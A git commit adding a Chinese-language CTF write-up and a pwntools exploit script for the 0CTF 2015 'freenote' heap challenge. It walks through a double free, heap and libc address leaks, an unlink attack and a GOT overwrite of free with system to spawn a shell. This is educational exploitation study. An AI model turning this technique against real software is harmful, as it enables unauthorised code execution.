finish 6.1.7

This commit is contained in:
firmianay 2018-04-08 00:10:05 +08:00
parent 70f846182a
commit cee626da52
2 changed files with 509 additions and 0 deletions

View File

@ -705,6 +705,430 @@ Delete 的实现如下:
## Exploit ## Exploit
在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free修改 GOT 表,改变程序的执行流。 在上面逆向的过程中我们发现,程序存在 double free 漏洞。在 Delete 的时候,只是设置了 `isValid =0` 作为标记,而没有将该笔记从 Notes 中移除,也没有将 `content` 设置为 NULL然后就调用了 free 函数。整个过程没有对 `isValid` 是否已经为 `0` 做任何检查。于是我们可以对同一个笔记 Delete 两次,造成 double free修改 GOT 表,改变程序的执行流。
#### 泄漏地址
第一步先泄漏堆地址。为方便调试,就先关掉 ASLR 吧:
```
gef➤ vmmap heap
Start End Offset Perm Path
0x0000000000603000 0x0000000000625000 0x0000000000000000 rw- [heap]
gef➤ vmmap libc
Start End Offset Perm Path
0x00007ffff7a15000 0x00007ffff7bd0000 0x0000000000000000 r-x /home/firmy/libc.so.6_1
0x00007ffff7bd0000 0x00007ffff7dcf000 0x00000000001bb000 --- /home/firmy/libc.so.6_1
0x00007ffff7dcf000 0x00007ffff7dd3000 0x00000000001ba000 r-- /home/firmy/libc.so.6_1
0x00007ffff7dd3000 0x00007ffff7dd5000 0x00000000001be000 rw- /home/firmy/libc.so.6_1
```
为了泄漏堆地址,我们需要释放 2 个不相邻且不会被合并进 top chunk 里的 chunk所以我们创建 4 个笔记,可以看到由初始化阶段创建的 Notes 和 Note 结构体:
```python
for i in range(4):
newnote("A"*8)
```
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000004 <-- Notes.max <-- Notes.length
0x603020: 0x0000000000000001 0x0000000000000008 <-- Notes.notes[0].isValid <-- Notes.notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- Notes.notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000008
0x603060: 0x0000000000604950 0x0000000000000001
0x603070: 0x0000000000000008 0x00000000006049e0
```
下面是创建的 4 个笔记:
```
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x4141414141414141 0x0000000000000000 <-- *notes[0].content
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000000 0x0000000000000091 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000 <-- *notes[1].content
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2
0x604950: 0x4141414141414141 0x0000000000000000 <-- *notes[2].content
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000000 0x0000000000000091 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000 <-- *notes[3].content
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
现在我们释放掉 chunk 0 和 chunk 2
```python
delnote(0)
delnote(2)
```
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002 <-- Notes.length
0x603020: 0x0000000000000000 0x0000000000000000 <-- notes[0].isValid <-- notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
0x603070: 0x0000000000000008 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed]
0x604830: 0x00007ffff7dd37b8 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000090 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
0x604950: 0x0000000000604820 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
chunk 0 和 chunk 2 被放进了 unsorted bin且它们的 fd 和 bk 指针有我们需要的地址。
为了泄漏堆地址,我们分配一个内容长度为 8 的笔记malloc 将从 unsorted bin 中把原来 chunk 0 的空间取出来:
```python
newnote("A"*8)
```
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000003 <-- Notes.length
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].isValid <-- notes[0].length
0x603030: 0x0000000000604830 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000 <-- notes[2].isValid <-- notes[2].length
0x603060: 0x0000000000604950 0x0000000000000001 <-- notes[2].content
0x603070: 0x0000000000000008 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x4141414141414141 0x0000000000604940 <-- info leak
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
0x604950: 0x00007ffff7dd37b8 0x00007ffff7dd37b8 <-- fd->chunk 0 <-- bk->main_arena+88
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x0000000000000090 0x0000000000000090 <-- chunk 3
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
```
为什么是 8 呢?我们同样可以看到程序的读入是有问题的,没有在字符串末尾加上 `\0`,导致了信息泄漏的发生,接下来只要调用 List 就可以把 chunk 2 的地址 `0x604940` 打印出来。然后根据 chunk 2 的偏移,即可计算出堆起始地址:
```python
s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
```
其实我们还可以得到 libc 的地址,方法如下:
```
gef➤ x/20gx 0x00007ffff7dd37b8-0x78
0x7ffff7dd3740 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3750: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3760: 0x0000000100000000 0x0000000000000000 <-- main_arena
0x7ffff7dd3770: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3780: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3790: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37a0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd37b0: 0x0000000000000000 0x0000000000604a60 <-- top
0x7ffff7dd37c0: 0x0000000000000000 0x0000000000604940
0x7ffff7dd37d0: 0x0000000000604820 0x00007ffff7dd37c8
```
我们看到 `__malloc_hook` 在这个地址 `0x00007ffff7dd37b8-0x78` 的地方。其实 `0x7ffff7dd3760` 地方开始就是 `main_arena`,但在这个 libc 里符号被 stripped 扔掉了。看一下 `__malloc_hook` 在 libc 中的偏移:
```
$ readelf -s libc.so.6_1 | grep __malloc_hook
1079: 00000000003be740 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5
```
因为偏移是不变的,我们总是可以计算出 libc 的地址:
```
libc_base = leak_addr - (0x3be740 + 0x78)
```
过程和泄漏堆地址是一样的,这里就不展示了,代码如下:
```python
newnote("A"*8)
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (0x3be740 + 0x78) # __malloc_hook + 0x78
```
这一步的最后只要把创建的所有笔记都删掉就好了:
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000604830 0x0000000000000000
0x603040: 0x0000000000000000 0x00000000006048c0
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
gef➤ x/4gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x00000000000207e1
0x604830: 0x00007ffff7dd37b8 0x00007ffff7dd37b8
gef➤ x/4gx 0x00603000+0x1820+0x90*1
0x6048b0: 0x0000000000000090 0x0000000000000090
0x6048c0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*2
0x604940: 0x0000000000000120 0x0000000000000090
0x604950: 0x4141414141414141 0x00007ffff7dd37b8
gef➤ x/4gx 0x00603000+0x1820+0x90*3
0x6049d0: 0x00000000000001b0 0x0000000000000090 <-- chunk 3 [be freed]
0x6049e0: 0x4141414141414141 0x0000000000000000
gef➤ x/4gx 0x00603000+0x1820+0x90*4
0x604a60: 0x0000000000000000 0x00000000000205a1
0x604a70: 0x0000000000000000 0x0000000000000000
```
所有的 chunk 都被合并到了 top chunk 里,需要重点关注的是 chunk 3 的 prev_size 字段:
```
0x6049d0 - 0x1b0 = 0x604820
```
所以其实它指向的是 chunk 0如果再次释放 chunk 3它会根据 prev_size 找到 chunk 0并执行 unlink然而如果直接这样做的话马上就被 libc 检查出来了double free 异常被触发,程序崩溃。所以我们接下来我们通过修改 prev_size 指向一个 fake chunk来成功 unlink。
#### unlink
有了堆地址,根据 unlink 攻击的一般思想,我们总共创建 3 块 chunk在 chunk 0 中构造 fake chunk在 chunk 1 中放置 `/bin/sh` 字符串,用来作为 `system()` 函数的参数chunk 2 里再放置两个 fake chunk
```python
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
newnote('/bin/sh\x00') # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
```
为什么这样构造呢?回顾一下 unlink 的操作如下:
```
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
```
需要绕过的检查:
```
(P->fd->bk != P || P->bk->fd != P) == False
```
最终效果是:
```
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
```
为了绕过它,我们需要一个指向 chunk 头的指针,通过前面的分析我们知道 Note.content 正好指向 chunk 头,而且没有被置空,那么就可以通过泄漏出来的堆地址计算出这个指针的地址。
全部堆块的情况如下:
```
gef➤ x/4gx 0x603018
0x603018: 0x0000000000000003 0x0000000000000001
0x603028: 0x0000000000000020 0x0000000000604830 <-- bk pointer
gef➤ x/4gx 0x603020
0x603020: 0x0000000000000001 0x0000000000000020
0x603030: 0x0000000000604830 0x0000000000000001 <-- fd pointer
gef➤ x/90gx 0x00603000+0x1820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x604830: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x604840: 0x0000000000603018 0x0000000000603020 <-- fd pointer <-- bk pointer
0x604850: 0x0000000000000000 0x0000000000000000
0x604860: 0x0000000000000000 0x0000000000000000
0x604870: 0x0000000000000000 0x0000000000000000
0x604880: 0x0000000000000000 0x0000000000000000
0x604890: 0x0000000000000000 0x0000000000000000
0x6048a0: 0x0000000000000000 0x0000000000000000
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
0x6048c0: 0x0068732f6e69622f 0x0000000000000000 <-- '/bin/sh'
0x6048d0: 0x0000000000000000 0x0000000000000000
0x6048e0: 0x0000000000000000 0x0000000000000000
0x6048f0: 0x0000000000000000 0x0000000000000000
0x604900: 0x0000000000000000 0x0000000000000000
0x604910: 0x0000000000000000 0x0000000000000000
0x604920: 0x0000000000000000 0x0000000000000000
0x604930: 0x0000000000000000 0x0000000000000000
0x604940: 0x0000000000000120 0x0000000000000191 <-- chunk 2
0x604950: 0x4141414141414141 0x4141414141414141
0x604960: 0x4141414141414141 0x4141414141414141
0x604970: 0x4141414141414141 0x4141414141414141
0x604980: 0x4141414141414141 0x4141414141414141
0x604990: 0x4141414141414141 0x4141414141414141
0x6049a0: 0x4141414141414141 0x4141414141414141
0x6049b0: 0x4141414141414141 0x4141414141414141
0x6049c0: 0x4141414141414141 0x4141414141414141
0x6049d0: 0x00000000000001a0 0x0000000000000090 <-- chunk 3 pointer
0x6049e0: 0x4141414141414141 0x4141414141414141
0x6049f0: 0x4141414141414141 0x4141414141414141
0x604a00: 0x4141414141414141 0x4141414141414141
0x604a10: 0x4141414141414141 0x4141414141414141
0x604a20: 0x4141414141414141 0x4141414141414141
0x604a30: 0x4141414141414141 0x4141414141414141
0x604a40: 0x4141414141414141 0x4141414141414141
0x604a50: 0x4141414141414141 0x4141414141414141
0x604a60: 0x0000000000000000 0x0000000000000021 <-- fake next chunk PREV_INUSE
0x604a70: 0x4141414141414141 0x4141414141414141
0x604a80: 0x4141414141414141 0x0000000000000001 <-- fake next next chunk PREV_INUSE
0x604a90: 0x0000000000000000 0x0000000000000000
0x604aa0: 0x0000000000000000 0x0000000000000000
0x604ab0: 0x0000000000000000 0x0000000000000000
0x604ac0: 0x0000000000000000 0x0000000000000000
0x604ad0: 0x0000000000000000 0x0000000000020531 <-- top chunk
0x604ae0: 0x0000000000000000 0x0000000000000000
```
首先是 chunk 0在它里面包含了一个 fake chunk且设置了 bk、fd 指针用于绕过检查。
chunk 2 分配了很大的空间,把 chunk 3 指针也包含了进去,这样就可以对 chunk 3 的 prev_size 进行设置,我们将其修改为 `0x1a0`,于是 `0x6049d0 - 0x1a0 = 0x604830`,即 fake chunk 的位置。另外,在释放 chunk 3 时libc 会检查后一个堆块的 `PREV_INUSE` 标志位,同时也为了防止 free 后的 chunk 被合并进 top chunk所以需要在 chunk 3 后布置一个 fake chunk同样的 fake chunk 的后一个堆块也必须是 `PREV_INUSE` 的,以防止 chunk 3 与 fake chunk 合并。
接下来就是释放 chunk 3触发 unlink
```python
delnote(3)
```
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002
0x603020: 0x0000000000000001 0x0000000000000020
0x603030: 0x0000000000603018 0x0000000000000001 <-- notes[0].content
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000139
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
```
我们看到note 0 的 content 指针被修改了,原本指向 fake chunk现在却指向了自身地址减 0x18 的位置,这意味着我们可以将其改为任意地址。
#### overwrite note
这一步我们利用 Edit 功能先将 notes[0].content 该为 `free@got`
```python
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free']))
```
```
gef➤ x/16gx 0x00603000
0x603000: 0x0000000000000000 0x0000000000001821
0x603010: 0x0000000000000100 0x0000000000000002
0x603020: 0x0000000000000001 0x0000000000000008 <-- notes[0].length = 8
0x603030: 0x0000000000602018 0x0000000000000001 <-- notes[0].content = free@got
0x603040: 0x0000000000000008 0x00000000006048c0
0x603050: 0x0000000000000001 0x0000000000000139
0x603060: 0x0000000000604950 0x0000000000000000
0x603070: 0x0000000000000000 0x00000000006049e0
gef➤ x/gx 0x602018
0x602018 <free@got.plt>: 0x00007ffff7a97df0
```
另外这里将 length 设置为 8 也是有意义的,因为我们下一步修改 free 的地址为 system 地址,正好是 8 个字符长度,程序直接编辑其内容而不会调用 realloc 重新分配空间:
```python
editnote(0, p64(system_addr))
```
```
gef➤ x/gx 0x602018
0x602018 <free@got.plt>: 0x00007ffff7a5b640
gef➤ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5b640 <system>
```
于是最后一步调用 free 时,实际上是调用了 `system('/bin/sh')`
```
delnote(1)
```
```
gef➤ x/s 0x6048c0
0x6048c0: "/bin/sh"
```
#### pwn
开启 ASLR。Bingo!!!
```
$ python exp.py
[+] Starting local process './freenote': pid 30146
[*] heap base: 0x23b5000
[*] libc base: 0x7efc6903e000
[*] system address: 0x7efc69084640
[*] Switching to interactive mode
$ whoami
firmy
```
完整的 exp 如下:
```python
from pwn import *
io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'})
elf = ELF('freenote')
libc = ELF('libc.so.6_1')
def newnote(x):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Length of new note: ")
io.sendline(str(len(x)))
io.recvuntil("Enter your note: ")
io.send(x)
def delnote(x):
io.recvuntil("Your choice: ")
io.sendline("4")
io.recvuntil("Note number: ")
io.sendline(str(x))
def listnote(x):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("%d. " % x)
return io.recvline(keepends=False)
def editnote(x, s):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Note number: ")
io.sendline(str(x))
io.recvuntil("Length of note: ")
io.sendline(str(len(s)))
io.recvuntil("Enter your note: ")
io.send(s)
def leak_base():
global heap_base
global libc_base
for i in range(4):
newnote("A"*8)
delnote(0)
delnote(2)
newnote("A"*8) # note 0
s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
log.info("heap base: 0x%x" % heap_base)
newnote("A"*8) # note 2
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
log.info("libc base: 0x%x" % libc_base)
for i in range(4):
delnote(i)
def unlink():
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
newnote('/bin/sh\x00') # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
delnote(3) # double free
def overwrite_note():
system_addr = libc_base + libc.symbols['system']
log.info("system address: 0x%x" % system_addr)
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
editnote(0, p64(system_addr)) # free => system
def pwn():
delnote(1) # system('/bin/sh')
io.interactive()
if __name__ == "__main__":
leak_base()
unlink()
overwrite_note()
pwn()
```
## 参考资料 ## 参考资料
[0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote) [0CTF 2015 Quals CTF: freenote](https://github.com/ctfs/write-ups-2015/tree/master/0ctf-2015/exploit/freenote)

View File

@ -0,0 +1,85 @@
from pwn import *
io = process(['./freenote'], env={'LD_PRELOAD':'./libc.so.6_1'})
elf = ELF('freenote')
libc = ELF('libc.so.6_1')
def newnote(x):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Length of new note: ")
io.sendline(str(len(x)))
io.recvuntil("Enter your note: ")
io.send(x)
def delnote(x):
io.recvuntil("Your choice: ")
io.sendline("4")
io.recvuntil("Note number: ")
io.sendline(str(x))
def listnote(x):
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("%d. " % x)
return io.recvline(keepends=False)
def editnote(x, s):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Note number: ")
io.sendline(str(x))
io.recvuntil("Length of note: ")
io.sendline(str(len(s)))
io.recvuntil("Enter your note: ")
io.send(s)
def leak_base():
global heap_base
global libc_base
for i in range(4):
newnote("A"*8)
delnote(0)
delnote(2)
newnote("A"*8) # note 0
s = listnote(0)[8:]
heap_addr = u64((s.ljust(8, "\x00"))[:8])
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
log.info("heap base: 0x%x" % heap_base)
newnote("A"*8) # note 2
s = listnote(2)[8:]
libc_addr = u64((s.ljust(8, "\x00"))[:8])
libc_base = libc_addr - (libc.symbols['__malloc_hook'] + 0x78) # 0x78 = libc_addr - __malloc_hook_addr
log.info("libc base: 0x%x" % libc_base)
for i in range(4):
delnote(i)
def unlink():
newnote(p64(0) + p64(0) + p64(heap_base + 0x18) + p64(heap_base + 0x20)) # note 0
newnote('/bin/sh\x00') # note 1
newnote("A"*128 + p64(0x1a0)+p64(0x90)+"A"*128 + p64(0)+p64(0x21)+"A"*24 + "\x01") # note 2
delnote(3) # double free
def overwrite_note():
system_addr = libc_base + libc.symbols['system']
log.info("system address: 0x%x" % system_addr)
editnote(0, p64(2) + p64(1)+p64(8)+p64(elf.got['free'])) # Note.content = free_got
editnote(0, p64(system_addr)) # free => system
def pwn():
delnote(1) # system('/bin/sh')
io.interactive()
if __name__ == "__main__":
leak_base()
unlink()
overwrite_note()
pwn()